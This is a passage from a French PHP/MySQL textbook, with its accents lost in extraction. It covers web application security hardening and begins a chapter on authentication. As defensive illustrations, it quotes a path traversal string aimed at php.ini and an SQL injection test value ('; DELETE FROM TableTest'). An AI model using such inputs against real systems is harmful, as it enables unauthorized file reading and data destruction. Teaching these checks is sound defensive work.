En outre, il faut tre trs prudent lorsque lon autorise les utilisateurs saisir le nom du
fichier quils souhaitent consulter. Si la racine de larborescence publique du serveur est
c:\webs\forum\documents et que cette arborescence comprend un rpertoire dans lequel
on a plac de nombreux fichiers accessibles aux utilisateurs qui peuvent saisir les noms
des fichiers quils veulent consulter, nous aurons des problmes sils demandent :
..\..\..\php\php.ini

Cela leur permettrait de connatre la configuration de PHP et de rechercher des failles


quils pourraient exploiter. La rsolution de ce problme, l aussi, est simple : si lon
autorise les utilisateurs saisir un nom de fichier, il suffit de le filtrer svrement pour
viter ce genre de situation. Pour lexemple prcdent, la suppression de toutes les
occurrences de ..\ nous aiderait certainement, tout comme la suppression des tentatives
daccs par un chemin absolu comme c:\mysql\my.ini.

Chapitre 14

Scurit des applications web

359

Stabilit du code et bogues


Comme on la dj voqu, votre application web ne fonctionnera probablement pas parfaitement et ne sera pas correctement scurise si son code na pas t test ni relu ou quil soit
si compliqu quil doive tre rempli de bogues. Ce nest pas une accusation, mais on
constate que les programmeurs sont faillibles, comme le code quils produisent.
Si un utilisateur se connecte un site web, entre un mot dans le champ de recherche
("dfenestration", par exemple) et clique sur le bouton Rechercher, il ne fera plus beaucoup
confiance la robustesse ou la scurit de ce site sil obtient en rponse :
Aie! Ceci ne devrait jamais arriver.

BUG BUG BUG!!!!

Si nous prenons en compte ds le dpart la stabilit de notre application, nous pouvons


rduire efficacement la probabilit des problmes dus aux erreurs humaines. Voici
comment y parvenir :
m

Raliser une phase de conception mthodique du produit, ventuellement avec


des prototypes. Plus il y aura de personnes pouvant donner leur avis sur ce que
nous voulons faire, plus elles pourront dtecter de problmes, mme avant que nous
commencions. Cest galement le moment idal pour tester lergonomie de notre
interface.
Allouer des ressources pour les tests du projet. Tant de projets lsinent sur cette
dpense ou embauchent un seul testeur pour un projet de cinquante dveloppeurs !
Gnralement, les dveloppeurs ne sont pas de bons testeurs ! Ils sont trs bons
pour vrifier que leur code fonctionne si on lui fournit des donnes correctes, mais
ils sont beaucoup moins efficaces pour trouver les autres problmes. Les plus grosses socits ddition de logiciels ont quasiment autant de testeurs que de dveloppeurs et, bien quil soit probable que votre chef nen fera jamais autant, il faut
nanmoins que vous disposiez de quelques ressources pour les tests : cest essentiel
pour le succs de lapplication.
Faire en sorte que les dveloppeurs utilisent une mthode de tests. Cela ne
permettra pas de trouver tous les bogues quun testeur aurait trouvs mais, au
moins, le produit ne rgressera pas (la rgression intervient lorsque des bogues qui
avaient dj t corrigs sont rintroduits par une modification du code). Les dveloppeurs ne doivent pas tre autoriss apporter leurs modifications au projet tant
que tous les tests unitaires nont pas russi.
Surveiller le fonctionnement de lapplication aprs son dploiement. En consultant rgulirement les fichiers journaux, en prenant connaissance des commentaires
des clients/utilisateurs, vous pourrez savoir si des problmes importants ou si des
trous de scurit possibles apparaissent. Si cest le cas, vous pourrez agir pour les
corriger avant quils nempirent.

360

Partie III

Scurit

Apostrophes dexcution et exec


Nous avons brivement mentionn une fonctionnalit appele apostrophes dexcution.
Il sagit essentiellement dun oprateur du langage permettant dexcuter une
commande quelconque dans un shell de commande (une variante de sh avec Unix ou
cmd.exe avec Windows) en entourant cette commande dapostrophes inverses ( `). Ce
symbole sobtient en faisant AltGr+7 sur un clavier PC franais (ou directement avec la
touche gauche dEntre sur un clavier Mac franais).
Les apostrophes dexcution renvoient une chane contenant le rsultat affich par le
programme excut.
Si lon dispose dun fichier texte contenant une liste de noms et de numros de tlphone, la commande grep nous permet de trouver la liste des noms contenant
"Dupont". grep est une commande Unix prenant en paramtre une expression rgulire
rechercher dans la liste des fichiers qui lui est fournie en entre. Elle renvoie la liste
des lignes de ces fichiers qui correspondent ce motif. Sa syntaxe est de la forme
grep [params] motif fichiers...

Il existe une version Windows de cette commande et Windows lui-mme est fourni avec
le programme findstr.exe, qui fait la mme chose. Le script suivant permet donc de
trouver les personnes qui sappellent "Dupont" :
<?php
// -i pour ignorer la casse
$utilisateurs = `grep i dupont /home/httpd/www/num_tel.txt`;
// Place les lignes de la sortie dans un tableau
// Attention, remplacer \n par \r\n avec Windows!
$lignes = split($utilisateurs, "\n");
foreach ($lignes as $ligne) {
// Les noms et les numros sont spars par le caractre ,
$nom_num = split($ligne, ,);
echo "Nom: {$nom_num[0]}, Tl: {$nom_num[1]}<br/>\n";
}
?>

Si vous autorisez lutilisateur fournir la commande place entre les apostrophes inverses, vous vous exposez toutes sortes de problmes de scurit et vous devrez filtrer
trs soigneusement la chane qui vous a t passe si vous voulez garantir la scurit de
votre systme. Au pire, utilisez la fonction escapeshellcmd, mais cest un minimum et
vous devrez utiliser un filtrage plus efficace pour plus de scurit.
Pire encore : comme le serveur web et PHP sexcutent gnralement dans un contexte
ayant les permissions minimales (voir les sections suivantes), vous devrez leur donner
plus de droits pour excuter certaines de ces commandes, ce qui peut compromettre

Chapitre 14

Scurit des applications web

361

encore plus la scurit du systme. Lutilisation de cet oprateur dans un environnement


en production doit donc tre soumise une tude trs rigoureuse.
Les fonctions exec et system ressemblent beaucoup aux apostrophes dexcution, sauf
quelles excutent directement la commande au lieu de passer par un shell et quelles ne
renvoient pas toujours lensemble des lignes produites par les apostrophes inverses.
Elles posent les mmes problmes de scurit et mritent donc la mme attention.

Scuriser le serveur web et PHP


Outre la scurit de votre code, linstallation et la configuration de votre serveur web et
de PHP sont galement des lments importants dune politique de scurit. La plupart
des logiciels que lon installe sur un ordinateur sont fournis avec des fichiers de configuration et des valeurs par dfaut choisies pour montrer la puissance du programme.
Ces choix supposent que lon dsactivera les parties dont on na pas besoin et/ou qui ne
sont pas assez scurises notre got. Malheureusement, beaucoup ne pensent pas le
faire ou ne prennent pas le temps de le faire srieusement.
Une partie de notre approche pour grer la scurit "globalement" consiste videmment
sassurer que les serveurs web et PHP sont correctement configurs. Bien que nous ne
puissions pas ici prsenter la totalit des options permettant de scuriser chaque serveur
ou chaque extension de PHP, nous pouvons au moins fournir quelques indications
essentielles et vous diriger dans la bonne direction au cas o vous auriez besoin de plus
de renseignements ou davis.
Garder les logiciels jour
Lun des moyens les plus simples pour favoriser la scurit dun systme consiste
sassurer quon utilise toujours la dernire et la plus scurise des versions dun logiciel. En ce qui concerne PHP, Apache et IIS, cela signifie que lon doit visiter rgulirement leurs sites respectifs (www.php.net, httpd.apache.org et www.microsoft.com/
iis) pour prendre connaissance des dernires alertes de scurit, de la sortie des nouvelles versions et pour rechercher dans la liste des nouvelles fonctionnalits si certaines
corrigent des bogues lis la scurit.
Mettre en place la nouvelle version
La configuration et linstallation de certains de ces programmes peut prendre du temps et
ncessiter un grand nombre dtapes. Cest notamment le cas sur Unix lorsquon installe ces
programmes partir de leurs sources car cela peut ncessiter linstallation pralable dun
certain nombre dautres logiciels et de fournir un grand nombre doptions en ligne de
commande pour que les extensions et modules requis soient activs.

362

Partie III

Scurit

Pour chaque programme, crivez toujours un petit "script" dinstallation que vous utiliserez chaque fois que vous installez une nouvelle version du logiciel. De la sorte, vous
tes sr de ne pas oublier quelque chose dimportant dont labsence pourrait poser
problme plus tard. Le nombre dtapes est tel quil est quasiment certain que vous ne
vous rappellerez pas les dtails exacts chaque fois que vous lancez une installation.
Dployer la nouvelle version
Il ne faut jamais installer un nouveau programme directement sur le serveur en production. Vous devez toujours disposer dun serveur de tests sur lequel installer les programmes et les applications web et vous assurer que tout fonctionne correctement. Cest tout
spcialement vrai avec un langage comme PHP, o certains rglages par dfaut changent entre les versions : il faut imprativement lancer une suite de tests et lutiliser en
pratique avant de pouvoir tre certain que la nouvelle version du logiciel naffecte pas
malencontreusement votre application.
Vous navez pas besoin de dpenser des milliers deuros pour acheter une nouvelle
machine rserve aux tests et aux essais de configuration. De nombreux programmes,
comme VMware ou Virtualbox, permettent dsormais de crer des machines virtuelles
et de lancer un systme dexploitation dans le vtre.
Aprs avoir vrifi que la nouvelle version du logiciel fonctionne correctement avec
votre application web, vous pouvez le dployer sur les serveurs en production. Vous
devez tre absolument sr que ce processus est soit automatis, soit dcrit par un script
sur papier (ou sur disque) afin de suivre la squence dtapes exacte et de rpliquer
lenvironnement correct du serveur. Pour finir, effectuez quelques tests sur le serveur
afin de vrifier que tout fonctionne correctement (voir Figure 14.2).
Figure 14.2
Mise jour
du logiciel serveur.

Compilation
1. Construire le serveur
2. Construire PHP
3. Crer les fichiers
de configuration
4. Configurer
les documents

Tests
1. Vrifier son
fonctionnement
de base
2. Lancer les suites
de tests
3. Lancer les tests
unitaires
4. Lancer des tests
de stress

Dploiement
1. Copier sur le serveur
2. Vrifier son
fonctionnement
de base
3. Lancer les suites
de tests
4. Lancer les tests
unitaires
5. Effectuer quelques
test ad hoc

Lire le fichier php.ini


Si vous navez pas encore pass beaucoup de temps parcourir le contenu du fichier
php.ini, cest le bon moment pour le faire en le chargeant dans un diteur de texte. La
plupart de ses entres sont prcdes de commentaires appropris dcrivant leur rle.
Elles sont classes par fonctionnalits/nom dextension ; les noms de toutes les options

Chapitre 14

Scurit des applications web

363

de mbstring commencent par mbstring alors que les options lies aux sessions (voir
Chapitre 21) sont prfixes par session.
Il existe un grand nombre doptions de configuration pour des modules que nous nutiliserons jamais ; si ces modules sont dsactivs, il nest pas ncessaire de soccuper de
leurs options puisquelles seront ignores. En revanche, il est important de consulter la
documentation en ligne de PHP (www.php.net/manual) pour connatre les options
fournies par les extensions que lon utilise et leurs valeurs possibles.
L encore, il est fortement conseill de faire des sauvegardes rgulires de php.ini ou
dcrire quelque part les modifications que lon y a apportes afin dtre sr quelles
sont toujours l aprs avoir install une nouvelle version.
Le seul pige de cette configuration est quun logiciel ancien crit en PHP peut exiger
que les options register globals et/ou register long arrays soient actives. En ce
cas, vous devez choisir entre ce logiciel et le risque quil fait courir la scurit. Vous
pouvez attnuer ce risque en recherchant rgulirement les correctifs de scurit et les
autres mises jour de ce logiciel.
Configurer le serveur web
Une fois que lon a confiance dans son installation de PHP, on peut passer celle du
serveur web. Chaque serveur utilise sa propre configuration pour la scurit et nous
prsenterons ici celles des deux serveurs les plus connus : Apache et Microsoft IIS.
Le serveur Apache
Bien que le serveur httpd soit fourni avec une configuration par dfaut relativement
scurise, nous devons vrifier quelques points avant de lutiliser dans un environnement de production. Toutes les options de configuration se trouvent dans le fichier
httpd.conf, qui se trouve gnralement dans le sous-rpertoire conf du rpertoire de
base de linstallation (/usr/local/apache/conf ou c:\Apache\conf, par exemple). Vous
devez avoir lu attentivement les sections concernant la scurit dans la documentation
en ligne du serveur (httpd.apache.org/docs-project).
Assurez-vous deffectuer les tapes suivantes :
m

Vrifiez que httpd sexcute sous le compte dun utilisateur (nobody ou httpd sous
Unix, par exemple) qui na pas les privilges administrateur. Cet utilisateur est
dfini par les options User et Group dans httpd.conf.
Vrifiez que les permissions des fichiers du rpertoire dinstallation dApache sont
correctes. Avec Unix, cela implique de vrifier que tous les rpertoires, sauf la
racine de larborescence des documents (qui est, par dfaut, le rpertoire htdocs/)
appartiennent root et ont les permissions 755.

364

Partie III

Scurit

Vrifiez que le serveur est configur pour pouvoir traiter un nombre correct de
connexions simultanes. Avec les versions 1.3.x dApache, fixez la valeur de Max
Clients avec un nombre raisonnable de clients (la valeur par dfaut, 150, convient
gnralement mais vous pouvez laugmenter si vous vous attendez une charge
plus leve). Avec les versions 2.x dApache, qui utilisent les threads, vrifiez la
valeur de ThreadsPerChild (la valeur par dfaut, 50, convient gnralement).
Cachez les fichiers que vous ne voulez pas montrer en incluant les directives
adquates dans httpd.conf. Pour cacher les fichiers .inc, par exemple, ajoutez la
directive suivante :
<Files ~ "\.inc$">
Order allow, deny
Deny from all
</Files>

Comme on la indiqu plus haut, vous devez galement dplacer ces fichiers en dehors
de larborescence des documents du site web.
Le serveur IIS de Microsoft
La configuration de IIS nutilise pas un fichier de configuration comme Apache, mais
vous devez quand mme effectuer un certain nombre de rglages pour scuriser votre
installation :
m
m

vitez que les sites web se trouvent sur le mme disque que le systme dexploitation.
Utilisez le systme de fichiers NTFS et prenez du temps pour supprimer les droits
dcriture aux endroits appropris.
Supprimez tous les fichiers installs par IIS dans larborescence des documents car
il y a de fortes chances pour que vous nen ayez jamais besoin. Le rpertoire inetpub
contient un grand nombre de fichiers dont vous naurez pas besoin si vous nutilisez pas
les outils de configuration en ligne (ce que vous ne devez pas faire : utilisez lutilitaire iisadmin la place).
vitez dutiliser des noms classiques. Un grand nombre de programmes hostiles
recherchent les scripts et les programmes dans les sous-rpertoires Scripts, cgi-bin,
bin, etc. de votre arborescence des documents.

L aussi, il est fortement conseill de lire les procdures de scurit recommandes


dans la documentation de IIS.
Applications web chez des hbergeurs
Les applications web qui sexcutent chez un hbergeur PHP/MySQL rencontrent un peu
plus de problmes de scurit. En effet, il est rare que lon ait accs au fichier php.ini de ces
serveurs et lon ne peut donc pas configurer les options comme on le souhaite. Dans les cas

Chapitre 14

Scurit des applications web

365

extrmes, certains services dhbergement ne permettent mme pas de crer des rpertoires
lextrieur de larborescence des documents, ce qui nous prive dun endroit sr
pour stocker les fichiers inclus. Heureusement, la plupart de ces socits veulent conserver
leurs clients et font donc des efforts pour assurer la scurit des applications.
Vous pouvez et devez passer par quelques tapes avant de choisir un service dhbergement
et dy dployer vos applications :
m

Avant de choisir le service, examinez la liste du support technique. Les meilleurs


services auront une documentation en ligne complte (certains proposent mme
dexcellents didacticiels) qui montre exactement comment sera configur votre
espace priv. En la parcourant, vous pourrez connatre les restrictions qui sappliquent
et le support dont vous bnficierez.
Prfrez les services dhbergement qui vous octroient des arborescences de rpertoires compltes, pas simplement une arborescence de documents. Pour certains, le
rpertoire racine de votre espace priv sera la racine de larborescence de vos documents ; avec dautres, vous disposerez dune arborescence complte et vos documents
et vos scripts seront stocks dans public_html. Dans ce dernier cas, vous pourrez
crer un rpertoire includes pour y placer vos fichiers inclus et les cacher au monde
extrieur.
Essayez de connatre les valeurs utilises dans php.ini. Mme si la plupart des
hbergeurs nafficheront pas ces valeurs sur une page web et ne vous enverront pas
ce fichier par e-mail, vous pouvez demander au service technique si, par exemple, le
mode scuris est activ et quelles sont les fonctions et les classes qui sont dsactives. Pour connatre ces informations, vous pouvez galement utiliser la fonction
ini get. Les hbergeurs qui nutilisent pas le mode scuris et qui ne dsactivent
aucune fonction nous inquitent plus que ceux ayant une configuration qui semble
raisonnable.
Renseignez-vous sur les versions des logiciels utiliss. Est-ce que ce sont les plus
rcentes ? Si vous navez pas le droit de consulter le rsultat dune fonction comme
phpinfo, faites appel un service comme Netcraft (http://www.netcraft.com) qui
vous renseignera sur ce point. Assurez-vous que cet hbergeur utilise bien PHP 5 !
Recherchez les services qui proposent une priode dessai, des garanties de
remboursement ou tout autre moyen de tester dabord si vos applications sexcuteront
avant de vous engager pour une longue priode.

Scuriser le serveur de base de donnes


Outre les mises jour du logiciel, nous pouvons effectuer quelques oprations pour que
nos bases de donnes soient plus scurises. L encore, une prsentation complte de la

366

Partie III

Scurit

scurit de tous les SGBDR utilisables dans nos applications web ncessiterait un
ouvrage complet, aussi nous contenterons-nous de prsenter quelques stratgies gnrales.
Utilisateurs et systme de permissions
Passez du temps comprendre le systme dauthentification et de permissions de votre
SGBDR. Un nombre tonnant dattaques russissent simplement parce que lon na pas
pris le temps de vrifier que le systme est scuris.
Assurez-vous que tous les comptes ont des mots de passe. Lune des premires oprations raliser sur un SGBDR consiste vrifier que le compte administrateur de la
base de donnes possde un mot de passe. Vrifiez galement que ces mots de passe ne
contiennent pas des mots du dictionnaire : mme un mot de passe comme 44chevalA
est moins sr que FI93!!xl2@. Si vous vous inquitez de la mmorisation de ces mots
de passe, utilisez par exemple la premire lettre de tous les mots dune phrase, en
mlangeant minuscules et majuscules, comme LaQsBsLbP pour "Les amoureux qui se
bcotent sur les bancs publics?" (Georges Brassens).
De nombreux SGBDR (dont les anciennes versions de MySQL) crent lors de leur
installation un utilisateur anonyme qui possde plus de privilges que vous ne le
souhaiteriez probablement. Pendant que vous tudiez le systme de permissions, assurez-vous que les ventuels comptes par dfaut font exactement ce que vous voulez
quils fassent et supprimez ceux qui ne le font pas.
Vrifiez que le compte administrateur a accs aux tables des permissions et aux bases
de donnes administratives. Les autres comptes ne devraient pouvoir accder ou modifier
que les bases ou les tables dont ils ont strictement besoin.
Pour le tester, essayez les oprations suivantes et vrifiez quelles provoquent des
erreurs :
m

Connectez-vous sans fournir de nom dutilisateur ni de mot de passe.

Connectez-vous sous le compte administrateur sans fournir de mot de passe.

Connectez-vous sous le compte administrateur en fournissant un mauvais mot de


passe.
Connectez-vous sous un compte utilisateur normal et essayez daccder une table
qui ne devrait pas lui tre accessible.
Connectez-vous sous un compte utilisateur normal et essayez daccder la base de
donnes du systme ou aux tables des permissions.

Chapitre 14

Scurit des applications web

367

Envoi de donnes au serveur


Comme nous lavons rpt sans cesse dans ce livre (et comme nous continuerons de
le faire), nenvoyez jamais des donnes non filtres au SGBDR. Utilisez les diffrentes fonctions fournies par les extensions pour protger les chanes (comme
mysqli real escape string) afin de disposer dune protection de base.
Cependant, comme on la vu, ces fonctions ne suffisent pas : vous devez galement
vrifier le type de chaque champ envoy par un formulaire. Si ce champ doit contenir
un nom dutilisateur, il faut tre sr quil ne contienne pas plusieurs kilo-octets de
donnes ni des caractres qui nont rien faire dans un nom dutilisateur. En testant la
validit des donnes (que ce soient des chanes, des nombres, des dates ou des heures),
nous pouvons produire des messages derreur plus lisibles et rduire certains risques de
scurit pour nos bases de donnes.
Enfin, nous pouvons utiliser des instructions prpares sur les serveurs qui lautorisent
car elles protgeront les donnes pour nous et sassureront que tout est plac entre apostrophes lorsque cela est ncessaire.
L encore, certains tests vous permettront de vrifier que le SGBDR traite correctement
les donnes :
m
m

Essayez dentrer des valeurs comme ; DELETE FROM TableTest, etc.


Pour les champs numriques ou de dates, essayez dentrer des valeurs totalement
fantaisistes, comme 55#$888ABC, et vrifiez que vous obtenez une erreur.
Essayez dentrer des valeurs qui dpassent les limites de taille que vous avez choisies et
vrifiez que cela provoque une erreur.

Connexion au serveur
Il existe quelques moyens de maintenir la scurit des SGBDR en contrlant leurs
connexions. Lun des plus simples consiste limiter les personnes autorises se
connecter. De nombreux systmes de permissions utiliss dans les SGBDR permettent
de prciser non seulement le nom de lutilisateur et son mot de passe, mais galement
les machines partir desquelles il est autoris se connecter. Si le SGBDR est sur la
mme machine que le serveur web et que PHP, il est certainement assez logique de
nautoriser que les connexions provenant de localhost ou de ladresse IP de cette
machine. Si le serveur web est toujours sur un mme ordinateur, il est peu prs normal
de nautoriser les utilisateurs se connecter la base qu partir de cette machine.
De nombreux SGBDR autorisent les connexions chiffres (gnralement via SSL). Si vous
devez vous connecter un SGBDR depuis Internet, utilisez ce type de connexion sil est
disponible. Sinon vous pouvez passer par un tunnel qui permet deffectuer une connexion

368

Partie III

Scurit

scurise entre deux machines : le principe consiste crer une connexion scurise dans
laquelle on passe ensuite les autres connexions (comme HTTP ou SMTP).
Enfin, assurez-vous que le SGBDR a t configur pour traiter plus de connexions que le
serveur web et PHP ne pourront lancer. Nous avons expliqu plus haut quApache 1.3.x,
par dfaut, pouvait lancer 150 serveurs ; le nombre de connexions autorises par dfaut
dans le fichier my.ini de MySQL tant de 100, votre configuration est dj incorrecte.
Pour corriger ce problme, il suffit de modifier le fichier my.ini :
max_connections=151

Nous avons ajout une connexion supplmentaire car MySQL garde toujours une de
ces connexions pour ladministrateur. Mme si le serveur est totalement charg, ladministrateur de la base pourra donc quand mme se connecter.
Excution du serveur
Pour lexcution du SGBDR, vous pouvez prendre quelques mesures pour assurer sa
scurit. Avant tout, il ne devrait jamais sexcuter sous le compte de ladministrateur
du systme (root avec Unix, administrateur avec Windows). En effet, sil est
compromis, cest tout le systme qui serait en dtresse. En fait, MySQL refuse de
sexcuter lorsquil est lanc sous ce compte, sauf si vous le forcez le faire (ce qui
serait vraiment une trs mauvaise ide).
Aprs avoir configur le SGBDR, la plupart des programmes exigeront que vous
modifiiez le propritaire et les permissions des rpertoires et des fichiers de la base
pour les protger des yeux indiscrets. Assurez-vous de le faire et que ces fichiers ne
restent pas la proprit de ladministrateur systme ; sinon le processus du serveur
(qui ne tourne pas sous le compte du superutilisateur) ne pourrait mme pas crire
dans ses propres fichiers.
Enfin, lorsque vous travaillez avec le systme de permissions et dauthentification,
crez les utilisateurs avec le moins de permissions possible. Au lieu de leur octroyer un
large ensemble de droits "parce quils pourraient en avoir besoin un jour", donnez-leur
le minimum de permissions et najoutez les autres que quand cela devient absolument
ncessaire.

Protger le rseau
Vous disposez de quelques moyens pour scuriser le rseau sur lequel se trouve votre
application web. Bien que les dtails exacts dpassent le cadre de ce livre, ils sont relativement simples comprendre et ils ne protgeront pas que vos applications web.

Chapitre 14

Scurit des applications web

369

Installation de pare-feux
Tout comme lon doit filtrer les donnes qui parviennent notre application PHP, nous
devons galement filtrer tout le trafic qui arrive sur notre rseau, que ce soit dans nos
bureaux ou dans un data center qui hberge nos serveurs et nos applications.
Pour ce faire, on utilise un pare-feu, qui peut tre un logiciel sexcutant sur un systme
dexploitation comme FreeBSD, Linux ou Windows, ou un matriel ddi. Le travail
dun pare-feu consiste liminer le trafic indsirable et bloquer laccs aux parties
dun rseau que lon veut isoler.
Le protocole TCP/IP sur lequel repose Internet utilise des ports, chacun deux tant
ddi un type de trafic particulier (HTTP, par exemple, utilise le port 80). Un grand
nombre de ports servent strictement au trafic interne et ont peu dutilit dans les interactions avec le monde extrieur. En interdisant le trafic dentrer et de sortir de notre rseau
par ces ports, nous rduisons le risque que nos ordinateurs ou nos serveurs (et donc nos
applications web) soient attaqus.
Utilisation dune DMZ
Comme nous lavons dj voqu dans ce chapitre, nos serveurs et nos applications web
courent le risque dtre attaqus non seulement de lextrieur, mais galement par des utilisateurs internes. Bien que ces derniers soient moins nombreux, ils ont souvent la possibilit
de causer plus de dgts puisquils connaissent bien le fonctionnement de leur socit.
Un moyen de limiter ce risque consiste mettre en place une zone dmilitarise
(DMZ). On peut ainsi isoler les serveurs qui excutent nos applications web (et les
autres, comme les serveurs de courrier de la socit) la fois du monde extrieur et du
rseau interne, comme le montre la Figure 14.3.
Zone dmilitarise

Pare-feu

Intranet

Serveur
web

Pare-feu

Serveur
web

Serveur
de fichiers

Figure 14.3
Mise en place dune zone dmilitarise (DMZ).

Serveur
de bases
de donnes

Intranet

370

Partie III

Scurit

Les DMZ ont deux avantages essentiels :


m

Ils protgent les serveurs et les applications des attaques provenant de lintrieur et
de lextrieur de votre rseau.
Ils protgent votre rseau interne en plaant des couches supplmentaires de parefeux et plus de scurit entre votre rseau et Internet.

La conception, linstallation et la maintenance dune DMZ doit tre entreprise avec les
administrateurs rseau de lendroit o vous hbergez votre application web.
Prparation contre les attaques DoS et DDoS
Les attaques par dni de service (DoS) font partie des attaques actuelles les plus
effrayantes. Les attaques DoS et leurs versions distribues encore plus alarmantes
(DDoS) utilisent des ordinateurs infects, des vers ou tout autre moyen pour exploiter
les faiblesses des installations des logiciels, voire celles inhrentes la conception de
certains protocoles comme TCP/IP. Elles saturent alors un ordinateur et lempchent de
rpondre aux requtes de connexion manant de ses clients lgitimes.
Ce type dattaque, malheureusement, est trs difficile prvoir et contrer. Certains
constructeurs de matriel rseau vendent des quipements permettant de limiter les
risques et les effets des attaques DoS, mais ce ne sont pas encore des solutions radicales.
Votre administrateur devrait au moins chercher comprendre la nature du problme et
les risques auxquels sont exposs votre rseau et vos installations. Ajout aux changes
avec votre FAI (ou tout organisme qui hberge les machines de votre FAI), cela vous
prparera au cas o une attaque de ce type se prsente. Mme si cette attaque nest pas
directement dirige contre vos serveurs, ils peuvent quand mme sen retrouver les
victimes.

Scurit des ordinateurs et du systme dexploitation


Noue devons galement nous soucier de lordinateur sur lequel sexcute lapplication
web. Pour cela, vous pouvez et devez vrifier quelques points essentiels.
Maintenir jour le systme dexploitation
Lun des moyens les plus simples de maintenir la scurit de votre ordinateur consiste
faire en sorte que son systme dexploitation soit toujours jour. Ds que vous avez
choisi un systme dexploitation particulier pour votre environnement de production,
vous devriez prvoir dy effectuer des mises jour et dy appliquer les correctifs de
scurit. Vous devriez galement consulter priodiquement certaines sources pour y
rechercher les nouvelles alertes, les correctifs ou les mises jour.

Chapitre 14

Scurit des applications web

371

Ces sources dpendent du systme dexploitation. Gnralement, vous les trouverez


auprs de lditeur de ce systme, surtout sil sagit de Windows, dun Linux vendu par
Red Hat ou SuSE ou de Solaris. Pour les autres, comme FreeBSD, Linux Ubuntu ou
OpenBSD, il faut gnralement consulter leurs sites respectifs pour prendre connaissance des derniers correctifs conseills.
Comme pour toutes les mises jour de logiciels, vous devriez disposer dun environnement o tester lapplication de ces correctifs et vrifier quils sinstallent correctement
avant de les appliquer aux serveurs en production. Cela permet galement de tester que
ces modifications ne perturbent pas votre application avant que le problme ne
survienne sur vos serveurs.
La mise en place de certains correctifs dpend videmment de vous : si un correctif de
scurit concerne le sous-systme Firewire et que votre ordinateur nen est pas pourvu,
cela ne vaut peut-tre pas la peine de perdre du temps le dployer.
Ne lancer que ce qui est ncessaire
Lun des problmes que rencontrent de nombreux serveurs est celui du grand nombre
de programmes quils excutent : serveurs de courrier, serveurs FTP, possibilit
dchanger des donnes avec le systme de fichiers de Windows (via le protocole
SMB), etc. Pour vos applications web, vous naurez souvent besoin que du serveur web
(IIS ou Apache), de PHP avec ses bibliothques et dun SGBDR.
Si vous nutilisez rien dautre, teignez les services inutiles et dsactivez-les une fois
pour toutes. Vous naurez ainsi plus besoin de vous soucier de leur scurit. Les utilisateurs de Windows 2000 et XP peuvent parcourir la liste des services excuts par leur
serveur et couper ceux qui ne sont pas utiles. En cas de doute, faites quelques recherches car il est fortement probable que quelquun dautre ait dj demand ce que fait un
service donn et sil est ncessaire.
Scuriser physiquement le serveur
Nous avons dj mentionn quune des attaques contre la scurit consiste simplement
entrer dans vos bureaux, dbrancher le serveur et partir avec. Ce nest malheureusement pas une plaisanterie. Un serveur moyen ntant pas un matriel particulirement
donn, les motivations du voleur ne sont pas forcment despionner un concurrent ou de
voler une proprit intellectuelle. Certains volent simplement les ordinateurs pour les
revendre.
Il est donc essentiel que les serveurs qui excutent vos applications web se trouvent
dans un environnement scuris auquel seules les personnes autorises auront accs.
Une politique spcifique permettra en outre doctroyer ou de supprimer ce droit daccs
aux diffrentes personnes.

372

Partie III

Scurit

Se prparer aux dsastres


Si vous voulez voir un visage livide, demandez votre responsable informatique ce qui
arriverait vos serveurs ou, bien sr, tout le data center si limmeuble qui les hberge
tait dtruit par un incendie ou un tremblement de terre. Vous verrez quun bon
pourcentage dentre eux nauront aucune rponse.
Bien quelle soit souvent ignore, la prparation aux dsastres (et leur rparation) est
une partie critique de lexcution dun service, quil sagisse dune application web ou
de toute autre chose (dont les oprations quotidiennes de votre travail). Cette prparation consiste gnralement en un ensemble de documents ou de procdures qui ont t
rptes et qui consistent rpondre aux questions lorsquune des situations suivantes
(entre autres) survient :
m
m

m
m

Des parties de votre data center ont t dtruites au cours dune catastrophe.
Votre quipe de dveloppement est partie djeuner et a t renverse par un bus et
srieusement blesse (voire tue).
Les bureaux de la direction de votre socit ont brl.
Un pirate ou un employ mcontent a russi dtruire toutes les donnes sur les
serveurs de vos applications web.

Bien que la plupart des gens naiment pas voquer les dsastres et les attaques, la dure
ralit fait que ces situations arrivent (heureusement, assez rarement). Les entreprises,
cependant, ne peuvent pas se payer le luxe de rester figes lorsquun vnement de cette
importance survient et quelles ny sont pas prpares. Une socit ayant un chiffre
daffaires quotidien de plusieurs millions deuros serait dvaste si ses applications web
ne fonctionnaient plus pendant plus dune semaine.
En se prparant ces vnements, en les anticipant avec des plans dactions clairs et en
rptant certaines parties critiques, un petit investissement financier peut conomiser
notre entreprise des pertes ventuellement dsastreuses si un vritable problme survenait
un jour.
Voici certaines des mesures qui pourront vous aider prparer les dsastres et les
rparer :
m

Assurez-vous que toutes les donnes sont sauvegardes quotidiennement et que les
sauvegardes sont stockes sur un autre site. Si votre data center est dtruit, vous
disposerez encore des donnes.
crivez des scripts, galement ailleurs que sur le site, expliquant comment recrer
les environnements des serveurs et configurer lapplication web. Faites au moins
une rptition de ces procdures de reconfiguration.

Chapitre 14

Scurit des applications web

373

Conservez une copie complte du code source ncessaire votre application web,
galement stocke ailleurs que sur le site.
Pour les quipes importantes, interdisez que tous les membres de lquipe se dplacent dans le mme vhicule (voiture ou avion) afin quil y ait moins de consquences
en cas daccident.
Utilisez des outils automatiques pour surveiller le fonctionnement du serveur et
dsignez un "oprateur durgence" qui devra se rendre dans les locaux lorsquun
problme survient, mme en dehors des heures de bureau.
Mettez en place un accord avec un fournisseur afin de disposer immdiatement de
nouveaux matriels si votre data center est dtruit. Il serait assez frustrant de devoir
attendre 4 6 semaines pour recevoir de nouveaux serveurs.

Pour la suite
Au Chapitre 15, nous tudierons plus en dtail lauthentification des utilisateurs. Nous
prsenterons plusieurs mthodes diffrentes dont lutilisation de PHP et de MySQL
pour authentifier les visiteurs.

15
Authentification avec PHP
et MySQL
Ce chapitre explique comment implmenter diffrentes techniques dauthentification
des utilisateurs laide de PHP et de MySQL.

Identification des visiteurs


Bien que le Web soit un support relativement anonyme, il est souvent intressant de
savoir qui visite votre site. Heureusement pour la confidentialit des utilisateurs, il
nest possible de deviner que peu dinformations personnelles sans leur accord
explicite.
Avec un peu de travail, les serveurs peuvent dterminer plusieurs informations sur les
ordinateurs et les rseaux qui tentent de sy connecter. Les navigateurs web ont lhabitude de sidentifier en fournissant aux serveurs leur nom, leur numro de version et le
nom de votre systme dexploitation. Vous pouvez galement dterminer la rsolution
et le nombre de couleurs de lcran de vos visiteurs, ainsi que la largeur de leur cran de
navigateur grce du code JavaScript.
Chaque ordinateur connect Internet possde une adresse IP qui lui est propre.
partir de ladresse IP dun visiteur, vous pouvez dcouvrir certaines informations
